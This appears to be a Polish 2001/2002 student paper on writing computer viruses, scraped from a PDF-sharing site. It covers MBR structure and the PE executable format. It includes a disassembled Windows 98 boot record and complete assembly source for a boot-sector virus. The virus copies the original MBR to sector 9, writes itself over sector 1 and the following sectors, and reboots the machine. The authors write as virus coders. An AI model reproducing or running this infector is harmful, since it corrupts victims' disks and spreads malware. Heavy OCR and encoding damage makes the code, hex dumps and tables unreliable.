7075

Szczegóły
Tytuł 7075
Rozszerzenie: PDF
Jesteś autorem/wydawcą tego dokumentu/książki i zauważyłeś że ktoś wgrał ją bez Twojej zgody? Nie życzysz sobie, aby podgląd był dostępny w naszym serwisie? Napisz na adres [email protected] a my odpowiemy na skargę i usuniemy zabroniony dokument w ciągu 24 godzin.

7075 PDF - Pobierz:

Pobierz PDF

 

Zobacz podgląd pliku o nazwie 7075 PDF poniżej lub pobierz go na swoje urządzenie za darmo bez rejestracji. Możesz również pozostać na naszej stronie i czytać dokument online bez limitów.

7075 - podejrzyj 20 pierwszych stron:

WIRUSY KOMPUTEROWE ARCHITEKTURA KOMPUTER�W Autorzy: Mariusz Ciep�y Krzysztof Sk�adzie� Wroc�aw 2001/2002 Spis tre�ci: 1. Wst�p 2. Rodzaje wirus�w 3. Metody infekcji obiekt�w � g��wny rekord �aduj�cy (MBR) � pliki - budowa PE - infekcja PE - modu�y i funkcje 4. Architektura systemu 5. Wirus - sterownik VXD 6. Metody instalacji w pami�ci operacyjnej � tryb rzeczywisty � tryb chroniony - poziom ringS - poziom ringO - metody alternatywne 7. Zabezpieczania wirus�w � wyj�tki (SEH) � antydebugging � antydisassembling � szyfrowanie kodu 8. Optymalizacja kodu 9. Wirusy w Linux 10. Podsumowanie 11. Literatura 12. Dodatek - tablica assemblera 12. l.Wst�p Wirus komputerowy to najcz�ciej program napisany w j�zyku niskiego poziomu, jakim jest assembler, mo�na jednak u�ywa� j�zyk�w wysokiego poziomu takich jak Pascal lub C. Okazuje si�, �e assembler jest w tym temacie pot�nym narz�dziem. Jest niezast�piony, gdy� mo�na pisa� bez ogranicze�, jakie narzucaj� nam kompilatory j�zyk�w wysokiego poziomu. Dlatego w tym opracowaniu skupiamy si� na opisie metod pisania wirus�w opartych na assemblerze. Najcz�ciej u�ywany j�zyk koder�w wirus�w: ASM C/C++ Perl VB/VBA/VBS PHP None (collector) 17 31211 �4�g4% ni2%(^^ j \^^ y/D 68% D ASM � C/C++ D Perl DVB/VBA/VBS � PHP D None (collector) dane wed�ug Coderz.Net W skrypcie przedstawimy konkretne rozwi�zania i przyk�ady wsp�czesnych technik pisania, dlatego b�dziemy opisywa� wsp�czesn� architektur� komputer�w oraz najnowsze systemy operacyjne. Mamy zamiar opisywa� wirusy na bazie komputer�w kompatybilnych z PC, poniewa� to dzi�ki ich popularno�ci temat ten rozwija si� tak dynamicznie. Czytelnik zapozna si� r�wnie� ze sposobami, dzi�ki kt�rym uda�o si� nam doj�� do opisanych technik. Mamy na my�li prace z debuggerami - podstawowego i najwa�niejszego narz�dzia kodera wirus�w. Jest to wa�ne, poniewa� to dzi�ki debuggerom i technice reverse engineering mo�na zrozumie� mechanizmy dzia�ania zar�wno komputera jak i jego systemu operacyjnego. Dokumentacje dostarczane wraz z produktem zawsze zawieraj� te informacje, kt�re ich autorzy uwa�aj� za niezb�dne, sprytnie omijaj�c szczeg�y. My uwa�amy, �e taka forma dokumentacji jest nieodpowiednia, poniewa� przez ni� szerokie grono programist�w tak naprawd� nie wie z jakimi mechanizmami ma do czynienia. O czywi�cie tak szczeg�owa i wnikliwa wiedza nie zawsze jest potrzebna, jednak dla nas, koder�w wirus�w, jest niezb�dna. Posiadamy swoje sposoby i techniki, dzi�ki kt�rym t� wiedz� zdobywamy, dlatego na przyk�ad wiele metod w pisaniu wirus�w pochodzi ze zdissasemblowanych program�w systemowych. Wirusy to programy uwa�ane jako jedyne w swoim rodzaju. Ich kod musi by� przemy�lany, a co najwa�niejsze zoptymalizowany. Jest to bardzo wa�ne, poniewa� musi zajmowa� jak najmniej miejsca oraz powinien niepostrze�enie pracowa� na komputerze, dlatego zdecydowali�my si� napisa� o optymalizowaniu kodu. Wiedza na temat pisania wirus�w nie musi by� wykorzystywana do ich pisania, jest to raczej �wietny spos�b poznania swojego komputera od wewn�trz. Umiej�tno�� ta w du�ym stopniu przydaje si� do pisania program�w u�ytkowych, do odkrywania ukrytych funkcji w nowych systemach operacyjnych, ale tak�e do zmiany kodu w istniej�cych ju� programach - chyba najcz�ciej wykorzystywana. 2. Rodzaje wirus�w Zdecydowana wi�kszo�� wsp�czesnych wirus�w to programy doklejaj�ce si� do pliku, dzi�ki czemu mog� by� transportowane mi�dzy komputerami. Koderzy wirus�w jako jeden z g��wnych cel�w w swojej pracy stawiaj� na dopracowanie funkcji infekcji a co za tym idzie rozprzestrzeniania si� swojego programu. Prowadzi do to tego, �e powsta�o wiele ich odmian i typ�w. Mamy wirusy plik�w wsadowych, makrowirusy (Word, MS Project, itp), wirusy paso�ytnicze. Skrypt ten jednak opisuje wirusy w oparciu o architektur� komputer�w, jak j� wykorzysta� do ich tworzenia, dlatego skupimy si� na wirusach infekuj�cych pliki oraz okre�lone sektory dysk�w twardych. 3. Metody infekcji obiekt�w Najwa�niejsz� cz�ci� kodu wirusa jest jego procedura zara�aj�ca, kt�ra decyduje o sukcesie programu. G��wnym celem atak�w s� pliki wykonywalne, czyli dla DOS by�y to programy z rozszerzeniami COM oraz EXE (z ich podstawow� architektur�), dla Win32 s� to ju� w zasadzie tylko pliki EXE oznaczane dodatkowo jako PE (Portable Executable). Zawsze na ka�dym etapie pisania musimy zdecydowa�, na jakiej architekturze (platformie systemowej) b�dzie pracowa� nasz program, musimy wiedzie� wszystko z najmniejszymi szczeg�ami o systemie, dlatego je�eli chcemy infekowa� pliki, czy okre�lone sektory dysku to musimy zna� ich budow�. � G��wny rekord �aduj�cy (Master Boot Record MBR) Podczas uruchamiania komputera najpierw odczytywana jest pami�� ROM (w�a�ciwie: FlashRom), w kt�rej zawarte s� parametry BIOS-u, wykonywany jest test POST. Po zako�czeniu tego pierwszego etapu uruchamiania komputera BIOS odczytuje i uruchamia program znajduj�cy si� w pierwszym sektorze pierwszego dysku twardego lub na dyskietce (w zale�no�ci od tego, z jakiego no�nika korzystamy uruchamiaj�c system). Pierwszy sektor to w�a�nie Master Boot Record. Na pocz�tku tego sektora znajduje si� ma�y program, za� na ko�cu - wska�nik tablicy partycji. Program ten u�ywa informacji o partycji w celu okre�lenia, kt�ra partycja z dost�pnych jest uruchamiania, a nast�pnie pr�buje uruchomi� z niej system. Odczytanie pierwszego sektora dysku odbywa si� poprzez wykonanie przerwania int 19h. Nast�pnie je�eli zostanie zlokalizowany g��wny sektor �aduj�cy, to b�dzie on wgrany do pami�ci pod adresem 0000:7COOO i wykona si� tam kr�tki kod programu MBR. Zadaniem tego kodu jest odnalezienie aktywnej partycji na dysku. Je�eli zostanie ona odnaleziona to jej pierwszy sektor, nazywany boot sector (ka�dy system operacyjny ma swoj� wersje boot sector'a) b�dzie wgrany pod 0000:7COOO i program w MBR skoczy pod ten adres, w przeciwnym wypadku zostanie wy�wietlony odpowiedni komunikat o b��dzie. program �aduj�cy tablice partycji A 16 bajt�w 446 bajt�w -- - -- ^ - .. * - flaga aktywn. pocz�tek partycji typ partycji koniec partycji sektor pocz�tkowy liczba sektor�w 4 bajty l bajt 3 bajty l bajt 3 bajty 4 bajty Schemat budowy MBR 2 bajty Oto posta� hex/ascii MBR dla Windows 98 OSR2: l OFFSET 10123 4567 8 9 A B C D E F l 0123456789ABCDEF 000000 000010 000020 000030 000040 000050 000060 000070 000080 000090 OOOOAO OOOOBO OOOOCO OOOODO OOOOEO OOOOFO 000100 000110 000120 000130 000140 000150 000160 000170 000180 000190 OOOOAO 0001BO 0001CO 0001DO 0001EO 0001FO 33C08EDO BC007CFB 5007501F FCBE1B7C 3 |.P.P | BF1B0650 57B9E501 F3A4CBBE BE07B104 ...PW 382C7C09 751583C6 10E2F5CD 188B148B 8,|.u EE83C610 49741638 2C74F6BE 10074EAC It.8,t N. 3C0074FA BB0700B4 OECDlOEB F2894625 <.t F% 968A4604 B4063COE 7411B40B 3COC7405 ..F...<.t...<.t. 3AC4752B 40C64625 067524BB AA5550B4 :[email protected]%.u$..UP. 41CD1358 721681FB 55AA7510 F6C10174 A..Xr...U.U 1 OB8AE088 5624C706 A106EB1E 886604BF V$ f. . OAOOB801 028BDC33 C983FF05 7F038B4E 3 N 25034E02 CD137229 BE500781 3EFE7D55 %.N...r).P..>.}U AA745A83 EF057FDA 85F67583 BE4F07EB .tZ u..O.. 8A989152 99034608 13560AE8 12005AEB ...R..F..V Z. D54F74E4 33COCD13 EBB80000 80545214 .Ot.3 TR. 5633F656 56525006 5351BE10 00568BF4 V3.WRP.SQ. . .V. . 5052B800 428A5624 CD135A58 8D641072 PR..B.V$..ZX.d.r OA407501 4280C702 E2F7F85E C3EB744E [email protected] A..tN 69657072 61776964 B36F7761 20746162 ieprawid.owa tab 6C696361 20706172 7479636A 692E2049 lica partycji. I 6E737461 6C61746F 72206E69 65206D6F nstalator nie mo BF65206B 6F6E7479 6E756F77 61E62EOO .e kontynuowa... 4272616B 20737973 74656D75 206F7065 Brak systemu ope 72616379 6A6E6567 6FOOOOOO 00000000 racyjnego 00000000 00000000 00000000 00000000 0000008B FC1E578B F5CBOOOO 00000000 W 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 01010BEF 3F12103B 00002027 04008000 ?..;.. ' 01130CEF BF953062 04003059 94000000 Ob..OY 00000000 00000000 00000000 00000000 00000000 00000000 00000000 000055AA U. 0123 4567 8 9 A B C D E F l 0123456789ABCDEF Taki g��wny sektor �aduj�cy opisany jest w j�zyku C nast�puj�cymi strukturami: struct master_boot_record { ch�r bootinst[446]; ch�r parts[4 * sizeof (struct fdisk_partition_table)]; ushort signature; II kod programu, do offsetu OxlBE w MBR // ustawione na OxAA55, ostatnie s�owo w MBR struct fdisk_partition { unsigned char bootid; unsigned char beghead; unsigned char begsect; unsigned char begcyl; unsigned char systid; unsigned char endhead; unsigned char endsect; unsigned char endcyl; int relsect; int numsect; II party ej a butuj�ca? 0=nie, 80h=tak // pocz�tkowy numer g�owicy // pocz�tkowy numer sektora // pocz�tkowy numer cylindra // oznaka systemu operacyjnego // ko�cowy numer g�owicy // ko�cowy numer sektora // ko�cowy numer cylindra // pierwszy wzgl�dny sektor // liczba sektor�w w partycji Taki jeden struct fdisk_partition, czyli opis partycji zaznaczyli�my na rysunku MBR'a szarym kolorem. Wyst�puje ona jako druga na dysku i jest aktywna (pole na offsecie 0x1 CE ma warto�� 0x80) oraz jest na niej system plik�w FAT32x (pole na offsecie OxlD2 ma warto�� OxOC). Wida� od razu ile cennych informacji dla wirusa mo�emy otrzyma� analizuj�c te dane. Skoro wiemy wszystko o budowie pierwszego sektora dysku, to teraz przyst�pmy do dekompilacji tego przyk�adowego MBR: 5 xor mov mov sti push pop push ax,ax ss,ax sp,07GOO ax es ax ds si,07dB di,006lB ax di cx,OOlE5 movsb si,007BE cl, 004 ;Ustaw seg. stosu ;Ustaw ofs. stosu ;Zezwolenie na wykonywanie przerwa� ;Przekopiowani e 485 bajt�w ;od offsetu tutaj lokalnie OxlB ;do offsetu w RAM Ox6lB ;Przygotuj na stosie adres do skoku mov mov push push mov repe retf mov mov cmp lP jne add "loop int mov mov add dec je cmp je mov dec lodsb cmp je mov mov int jmps mov xchg mov mov cmp je mov cmp je cmp jne mc mov jne mov ;wykonaj kopiowanie. ;wykona] skok na offset OxlB ;mog� istnie� 4 tablice partycji ;czy partycja jest aktywna? 00000002D 00000003B si,010 000000020 018 dx, [si] bp, sn si,010 00000004D [si],ch 000000031 si, 00710 si ;przejd� na nast�pny opis partycji w MBR ;brak aktywnej, skocz do ROM BASIC al.OOO 00000003E bx,00007 ah.OOE 010 00000003F [bp][00025],ax si ,ax al,[bp][00004] ah,006 al.OOE 00000006B ah.OOB al,OOC 000000065 al ,ah 00000008F ax b,[bp][00025],006 00000008F bx,055AA 00000000: 33CO 00000002 : 8 EDO 00000004: BC007C 00000007: FB 00000008: 50 00000009: 07 OOOOOOOA: 50 OOOOOOOB: 1F OOOOOOOC: FC OOOOOOOD: BE1B7C 00000010: BF1B06 00000013: 50 00000014: 57 00000015: B9E501 00000018: F3A4 0000001A: CB 0000001B: BEBE07 0000001E: B104 00000020: 382C 00000022: 7C09 00000024: 7515 00000026: 83C610 00000029: E2F5 0000002B: CD18 0000002D: 8B14 0000002 F: 8BEE 00000031: 83C610 00000034: 49 00000035: 7416 00000037: 382C 00000039: 74F6 0000003B: BE1007 0000003E: 4E 0000003F: AC 00000040: 3COO 00000042 : 74 FA 00000044: BB0700 00000047: B40E 00000049: CD10 0000004B: EBF2 0000004D: 894625 00000050: 96 00000051: 8A4604 00000054: B406 00000056: 3COE 00000058: 7411 0000005A: B40B 0000005C: 3COC 0000005E: 7405 00000060: 3AC4 00000062: 752B 00000064: 40 00000065: C6462506 00000069: 7524 0000006B: BBAA55 UUUUUUbB: BBAAbb mov bX,U55AA Po wst�pnej analizie kodu MBR, wida� co si� dzieje podczas uruchamiania systemu. Wykorzystamy oczywi�cie t� wiedz� do napisania kodu, kt�ry b�dzie infekowa� g��wny rekord �aduj�cy. Nasz_MBR: xor ax,ax mov ss,ax mov sp,7GOOh int 12h mov cl, 6 shl ax,c1 mov cx,100h sub ax,cx mov dx,0080h mov cx,0002h mov es,ax xor bx,bx mov ax,0206h ;Ustaw stos ;Pobranie rozmiaru pami�ci ;ustaleni e segmentu, kt�ry zaczyna si� 4kb ;przed koncern parni ;adres ;2 sektor ;adres ;Wczytuje kod wirusa pod ten adres int int mov shl mov sub push mov push retf nop nop nop nop nop nop nop nop koniec_MBR: procedura_MBR: mov mov mov mov mov mov xor mov mov mov int cali push push retf nop nop nop nop ;ponowni e liczy ten adres, aby wykona� skok 13h 12h cl, 6 ax,c1 cx,100h ax,cx ;adres ax ;odk�ad� na stos adres ax,offset procedura_MBR ax ;Skok do pami�ci wielko�� tej sekcji jest istotna ax,cs ds,ax ss,ax sp,offset bufor[lOOh] ;ustaleni e stosu dx,0080h cx,0009h ax,ax es,ax bx,7GOOh ax,0201h 13h ;wczytaj oryginalny Bootrecord pod 0:7cOOh procedura_zarazania es bx ;Powr�t, wykonaj oryginalny MBR procedu ra_zarazem' a: ; dodatkowy kod wirusa ret bufor db 200h dup (0) ;512 bajt�w na MBR zara�enie_MBR: push push mov mov mov mov mov mov int mov mov mov mov mov cl d mov rep jne jmp ds es dx,0080h cx,0001h ax,cs es,ax bx,offset bufor ax,0201h 13h ax,cs ds,ax es,ax si,offset bufor di,offset nasz_MBR cx,18h cmpsb nie_zarazona koniec ;wczytaj 1.sektor do bufora ;bufor z 1.sektorem :kod wi rusa ;czy partycja jest zara�ona, por�wnaj me_zarazona: mov dx,0080h mov cx,0009h mov ax,es koniec: mov es,ax mov bx, offset bufor mov ax,0301h int 13h ; zapisz oryginalny Bootrecord do 9. sektora mov ex, ( (offset koni ec_MBR)- (offset nasz_MBR)) mov ax , es mov ds,ax mov es,ax mov si, offset nasz_MBR mov di, offset bufor cl d rep movsb jWype�nij bufor wirusem mov dx,0080h mov cx,0001h mov ax , es mov es,ax mov bx, offset bufor mov ax,0301h int 13h ; zapisz zawarto�� bufora do 1. sektora mov dx,0080h mov cx,0002h mov ax , es mov es,ax mov bx, offset nasz_MBR mov ax,0306h ; zapisz Gsektor�w kodem �r�d�owym wi rusa int 13h ; pocz�wszy od 2. sektora pop es pop d s ret install: cali mov push xor push retf zarazem e_MBR ax,0ffffh ax ax,ax ax ;po zara�eniu wykonaj reset komputera :) end install Ten kod infekcji dzia�a bardzo podobnie do kodu niegdy� bardzo popularnego wirusa Spirit.A, kt�ry infekowa� MBR i robi� kopie zdrowego na 9 sektorze dysku. Pliki EXE (PE) dla Windows 9x Specyfikacja formatu PE pochodzi z systemu UNIX i jest znana jako COFF (common object file format). System Windows powsta� na korzeniach VAX, VMS oraz UNIX; wielu jego tw�rc�w wcze�niej pracowa�o nad rozwojem tych system�w, zatem logiczne wydaje si� zaimplementowanie niekt�rych w�a�ciwo�ci tej specyfikacji. Znaczenie PE (Portable Executable) m�wi, �e jest to przeno�ny plik wykonywalny, co w praktyce oznacza uniwersalno�� mi�dzy platformami x86, MIPS, Alpha. Oczywi�cie ka�da z tych architektur posiada r�ne kody instrukcji, ale najistotniejszy okazuje si� tutaj fakt, �e programy �aduj�ce SO oraz jego programy u�ytkowe nie musz� by� przepisane od pocz�tku dla ka�dej z tych platform. Ka�dy plik wykonywalny Win32 (z wyj�tkiem VXD oraz 16 bitowych DLL) u�ywa formatu PE. Opisy struktur plik�w PE s� umieszczone w pliku nag��wkowym WINNT.H dla kompilator�w Microsoftu oraz plik NTIMAGE.H dla Borland IDE. Po tym nag��wku jest miejsce na kr�tki fragment kodu zwany DOS STUB, kt�ry pokazuje napis informuj�cy, �e program mo�e pracowa� tylko pod Win32. � Nag��wek PE Poni�ej STUB jest nag��wek PE zwany IMAGE_NT_HEADERS. Struktura ta zawiera fundamentalne informacje o pliku wykonywalnym. Program �aduj�cy Windows wczytuj�c plik do pami�ci, wyszukuje pole ejfanew z IMAGE_DOS_HEADERS i skacze pod dany tam adres (na IMAGE_NT_HEADERS), omijaj�c w ten spos�b DOS STUB. IMAGE_NT_HEADERS STRUCI Signature DWORD ? FileHeader IMAGE_FILE_HEADER o OptionalHeader MAGE_OPTIONAL_HEADER32 <> IMAGE_NT_HEADERS ENDS Pole Signature to 4 bajtowy identyfikator nowego nag��wka PE, podaje typ pliku: DLL,EXE,VXD..., podajemy niekt�re z dost�pnych typ�w: MAGE_DOS_SIGNATURE equ 5A4Dh ("MZ") MAGE_OS2_SIGNATURE equ454Eh ("NE") MAGE_OS2_SIGNATURE_LE equ454Ch ("LE") MAGE_VXD_SIGNATURE equ454Ch ("Sterownik VXD") MAGE_NT_SIGNATURE equ 4550h ("PE") Pole FileHeader zawiera struktur� EVLAGE_FILE_HEADER opisuj�c� plik. Pole OptionalHeader zawiera r�wnie� struktur�, kt�r� nazywamy IMAGE_OPTIONAL_HEADER32, zawiera ona dodatkowe informacje o pliku i jego strukturze. Nazwa tego pola i struktury jest myl�ca, poniewa� wyst�puje on w ka�dym pliku typu EXE PE, zatem nie jest opcjonalna ,tak jak sugeruje jego nazwa. Dla kodera wirus�w sygnatury z pierwszego pola IMAGE_NT_HEADRES s� bardzo znacz�ce, poniewa� umo�liwiaj� sprawdzenie rodzaju pliku EXE. Przyk�adowo za��my, �e w hFile mamy uchwyt otwartego pliku, to kawa�ek kodu odpowiedzialny za sprawdzenie rodzaju pliku EXE b�dzie mia� nast�puj�c� posta�: irwoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0 .if eax!=NULL i rwoke Mapvi ewofFi1 e,eax,FILE_MAP_READ,0,0,0 .if eax!=NULL mov edi, eax assume edi:ptr IMAGE_DOS_HEADER .i f [edi].e_magi C==IMAGE_DOS_SIGNATURE add edi, [ediJ.e_lfanew assume edi:ptr IMAGE_NT_HEADERS .i f [edi].Si gnatu re==iMAGE_NT_siGNATURE ;p~lik EXE typu PE .else ;inny rodzaj pliku .endif .endif .endif . endi f (listing dla kompilatora M ASM z wykorzystaniem Windows API) Widzieli�my, �e w strukturze IMAGE_NT_HEADERS mamy pole FileHeader, znajduje si� tam inna struktura, zwana IMAGE_FILE_HEADER: 10 IMAGE_FILE_HEADER STRUCI Machin� WORD ? NumberOfSections WORD ? TimeDateStamp DWORD ? PointerToSymbolTable DWORD ? NumberOfSymbols DWORD ? SizeOfOptionalHeader WORD ? Characteristics WORD ? IMAGE FILE HEADER ENDS ;Platrorma CPU ;Liczba sekcji w pliku ;Data linkowania pliku ;U�yteczne do debugowania pliku ;U�yteczne do debugowania pliku ;Wielko�� struktury opisanej dalej ;Flagi charakteryzuj�ce plik IMAGE_SIZEOF_FILE_HEADER equ 20d - sta�a wielko�� struktury Pole Machin�, identyfikuj�ce platform� CPU mo�e reprezentowa� min. takie maszyny: IMAGE_FILE_MACHINE_UNKNOWN equ O IMAGE_FILE_MACHINE_I3 86 IMAGE_FILE_MACHINE_ALPHA IMAGE_FILE_MACHINE_IA64 IMAGE FILE MACHIN� AXP64 equ014ch Intel equ0184h DEC Alpha equ 0200h Intel (64-bit) equ IMAGE_FILE_MACHINE_ALPHA64DEC Alpha (64-bit) lista skr�cona NumberOfSections liczba sekcji w pliku EXE lub OBJ, jest dla nas bardzo istotna, poniewa� b�dziemy musieli edytowa� t� pozycje, �eby doda�(usun��) sekcje dla naszego kodu wirusa. Data linkowania pliku jest nieistotna, poniewa� niekt�re linkery wpisuj� tu z�e dane, jednak to pole niekiedy przechowuje liczb� sekund od 31 grudnia 1969 roku, godziny 16:00. Dwa pola identyfikuj�ce si� z symbolami wyst�puj� w plikach .OBJ oraz .EXE z informacjami dla debuger�w. Wielko�� struktury OptionalHeader jest bardzo wa�na, poniewa� musimy zna� wielko�� (kolejnej) struktury IMAGE_OPTIONAL_HEADER. Pliki OBJ zawieraj� tu warto�� O - tak podaje dokumentacja Microsoftu, jednak w KERNEL32.LIB pole to zawiera warto�� r�n� od zera :). Flagi charakteryzuj�ce plik to: IMAGE_FILE_RELOCS_STRIPPED equ OOOlh IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h IMAGE_FILE_LINE_NUMS_STRIPPED equ 0004h IMAGE_FILE_LOCAL_SYMS_STRIPPED equ OOOSh IMAGE_FILE_AGGRESIVE_WS_TRI M equ OOlOh IMAGE_FILE_LARGE_ADDRESS_AWARE equ 0020h IMAGE_FILE_BYTES_REVERSED_LO equ OOSOh IMAGE_FILE_32BIT_MACHINE equ OlOOh IMAGE_FILE_DEBUG_STRIPPED equ 0200h IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP equ 0400h IMAGE_FILE_NET_RUN_FROM_SWAP equ OSOOh IMAGE_FILE_SYSTEM equ lOOOh IMAGE_FILE_DLL equ 2000h IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h IMAGE_FILE_BYTES_REVERSED_HI equ SOOOh Brak informacji o "relokacjach" Plik wykonywalny (nie jest .OBJ albo .LIB) Numerowania linii brak w pliku Lokalne symbole nie s� w pliku Aplikacja mo�e adresowa� wi�cej ni� 2 GB Zarezerwowane bajty typu word Dla maszyn 32-bitowych Informacje o symbolach s� w pliku (*.dbg) Kopiuj i uruchom ze swapa Gdy plik w sieci, kopiuj i uruchom ze swapa Plik systemowy Plik Dynamie Link Library (DLL) Zarezerwowane bajty typu word W strukturze IMAGE_NT_HEADERS opr�cz om�wionego FileHeader (wskazuj�cy na znany ju� EVLAGE_FILE_HEADERS) jest pole OptionalHeader, kt�re reprezentuje najwa�niejsz� struktur� (w pliku obie te struktury wyst�puj� obok siebie, OptionalHeader po FileHeader). Warto zwr�ci� uwag� na fakt, �e 11 obydwie te struktury w pliku znajduj� si� jedna po drugiej, nie ma w tych polach adres�w do miejsc tak opisanych. IMAGE_OPTIONAL_HEADER32 STRUCI Magie Maj orLinkerYersion MinorLinkerYersion SizeOfCode SizeOflnitializedData SizeOfUninitializedData AddressOfEntryPoint BaseOfCode BaseOfData ImageBase SectionAlignment FileAlignment Maj orOperatingSy stemYersion MinorOperatingSystemYersion Maj orlmage Yer sion MinorlmageYersion Maj orSubsy stemYersion MinorSubsystemYersion Win3 2 YersionYalue SizeOflmage SizeOfHeaders CheckSum Subsystem DllCharacteristics SizeOfStackReserve SizeOfStackCommit SizeOfHeapReserve SizeOfHeapCommit LoaderFlags NumberOfRyaAndSizes DataDirectory IMAGE OPTIONAL HEADER32 ENDS WORD ? BYTE ? BYTE ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? WORD ? WORD ? WORD ? WORD ? WORD ? WORD ? DWORD ? DWORD ? DWORD ? DWORD ? WORD ? WORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? IMAGE_DATA_DIRECTORY 16dup(<>) IMAGE_SIZEOF_NT_OPTIONAL32_HEADER equ 224d - sta�a wielko�� struktury Je�eli chcemy zrozumie� budow� struktury EVLAGE_OPTIONAL_HEADER trzeba zapozna� si� z notacj� RYA. RVA czyli Relative Yirtual Addres - s�u�y do opisywania adresu pami�ci, gdy nie jest znany adres bazowy (base address). Jest to warto��, kt�r� nale�y doda� do adresu bazowego, aby otrzyma� adres liniowy (linear address). Pozostaje kwestia tego, co rozumiemy poprzez adres bazowy - jest to adres w pami�ci gdzie zosta� za�adowany nag��wek PE pliku wykonywalnego. Dla przyk�adu przyjmijmy, �e plik jest za�adowany pod wirtualny adres (yirtual address VA) 0x400000 i pocz�tek jego kodu wykonywalnego jest pod RYA 0x1850, wtedy jego pocz�tek efektywny b�dzie w pami�ci pod adresem 0x401850. RYA mo�na por�wna� do offsetu w pliku, jednak w tym przypadku RYA to po�o�enie wzgl�dem wirtualnej przestrzeni adresowej trybu chronionego. Mechanizm ten w znacznym stopniu u�atwia prace procedurze systemowej, kt�ra jest odpowiedzialna za uruchamianie program�w, poniewa� z uwagi na to, �e program mo�e zosta� za�adowany w dowolne miejsce 12 w wirtualnej przestrzeni adresowej, nie potrzeba przeprowadza� relokacji w modu�ach, gdy� istnieje zapis RVA. Wa�ne jest, aby warto�� RVA by�� zaokr�glona do liczby podzielnej przez 4. Opis p�l w strukturze IMAGE_OPTIONAL_HEADER: Pole Magie nie jest istotne, poniewa� nigdy nie spotkali�my si�, aby mia�o warto�� inn� ni� OlOBh, czyli MAGE_NT_OPTIONAL_HDR32_MAGIC. Nast�pne dwa bajty okre�laj� wersje linkera, kt�ry utworzy� plik. Znowu, pola te sanie istotne, poniewa� nie s� prawid�owo wype�nione, niekt�re linkery nawet nie wpisuj� tu �adnych warto�ci. Warto�� wpisywana tu jest w postaci dziesi�tnej. Kolejne trzy 32-bitowe pola okre�laj� wielko�ci, odpowiednio: � wielko�� wynikowego kodu (SizeOfCode) - ca�kowita i zaokr�glona wielko�� sekcji z kodem w pliku. Zwykle w pliku jest tylko jedna sekcja z kodem, czyli pole to zawiera wielko�� tylko tej jedynej ( nazywanej .text) � wielko�� danych zainicjowanych w programie (SizeOflnitializedData) � wielko�� niezainicjowanych danych (SizeOfUninitializedData) sekcji .bss AddressOfEntryPoint to adres RVA punktu startu programu (Entry Point), kt�ry obowi�zuje dla EXE'c�w i DLL'i. W celu uzyskania wirtualnego adresu punktu startu programu nale�y do adresu miejsca za�adowania programu doda� to RVA. BaseOfCode to adres RVA pocz�tku sekcji z kodem programu, kt�ra jest za nag��wkami oraz przed sekcjami z danymi. Sekcja ta cz�sto nosi nazw� .text. Linker Microsoftu ustawia tu 0x1000, za� Borlanda TLINK32 0x10000. BaseOfData to adres RVA pocz�tku sekcji z danymi programu, kt�ra wyst�puje jako ostatnia (poza nag��wkami oraz kodem). Pole ImageBase to informacja dla systemowej procedury �aduj�cej w jakie miejsce w pami�ci wirtualnej nale�y za�adowa� program. Standardowo dla DLL'i to 0x10000, dla aplikacji Win32 to 0x00400000. Chocia� zdarzaj� si� wyj�tki, bo na przyk�ad excel.exe z Microsoft Office ma to pole ustawione na 0x30000000. Dzi�ki temu polu KERNEL32.DLL zawsze �aduje si� w to samo miejsce w RAM przy starcie Windows. W systemie NT 3.1 pliki wykonywalne mia�y ustawion� warto�� ImageBase na 0x10000, jednak wraz z rozwojem systemu, zmieniona zosta�a wirtualna przestrze� adresowa (om�wiona p�niej), dlatego starsze oprogramowanie d�u�ej si� uruchamia, ze wzgl�du na relokacje bazy. SectionAlignment - jak program jest zmapowany w pami�ci, to ka�da jego sekcja zaczyna w okre�lonym przez system wirtualnym adresie, kt�rego warto�� jest wielokrotno�ci� tego pola. Linkery Microsoftu ustawiaj�tu minimaln� dopuszczaln� warto�� (0x1000), za� linkery Borlanda C++ 0x10000 (64KB). FileAlignment, znaczenie tego pola jest podobne do SectionAlignment, tyle �e w tym przypadku odnosi si� to do pozycji (offset) w pliku, a nie jak poprzednio przy mapowaniu pliku w pami�ci. Standardowo pole to zajmuje warto�� 0x200 bajt�w, prawdopodobnie dlatego, �e sektor dysku ma tak� d�ugo��. Grupa p�l, kt�rych nie opisujemy (nazwa opisuje jednoznacznie ich przeznaczenie): MajorOperatingSystem Yersion MinorOperatingSystem Yersion Majorlmage Yersion Minorlmage Yersion MajorSubsystem Yersion MinorSubsystem Yersion Win32 Yersion Yalue 13 SizeOflmage, to suma wielko�ci wszystkich nag��wk�w oraz sekcji wyr�wnanych zgodnie z pozycj� SectionAlignment. Dzi�ki tej pozycji program �aduj�cy poinformowany jest ile ma zarezerwowa� pami�ci dla pliku, w przypadku niepowodzenia takiej operacji wy�wietlany jest komunikat o b��dzie wraz z informacj�, �e powinno si� zamkn�� pozosta�e programy i spr�bowa� ponownie. SizeOfHeaders oznacza po prostu wielko�� nag��wk�w oraz tablicy sekcji. Jednocze�nie mo�na powiedzie�, �e wielko�� ta wyznacza offset pierwszej sekcji w pliku, czyli [SizeOfHeaders] = [wielko�� ca�ego pliku] -[ca�kowita wielko�� wszystkich sekcji] CheckSum suma kontrolna Cyclic Redundancy Check (CRC) Dost�pne warto�ci w WINNT.H dla Subsystem, to: Native =1 - program nie wymaga podsystemu (sterownik urz�dzenia) Windows_GUI = 2 - wymaga Windows Graphic Unit Interface Windows_CUI =3 - Windows Console Unit Interface, tryb znakowy OS2_CUI = 5 POSIX_CUI =7 DllCharacteristics pole to jest ju� nie u�ywane, w Windows NT 3.5 zaznaczone by�o jako przestarza�e. SizeOfStackReserve liczba bajt�w wirtualnej pami�ci do zarezerwowania dla stosu pocz�tkowego w�tku programu. Pole to standardowo przyjmuje warto�� 0x100000 (l MB). U�ywane jest ono r�wnie� w przypadku, gdy w funkcji api CreateThred() nie sprecyzujemy wielko�ci jego stosu, tworzony jest wtedy stos dla nowego w�tku o wielko�ci podanej w tym w�a�nie polu. SizeOfStackCommit liczba bajt�w wirtualnej pami�ci do przyporz�dkowania dla stosu pocz�tkowego w�tku programu. Microsoft Linker ustawia tu 0x1000 (l 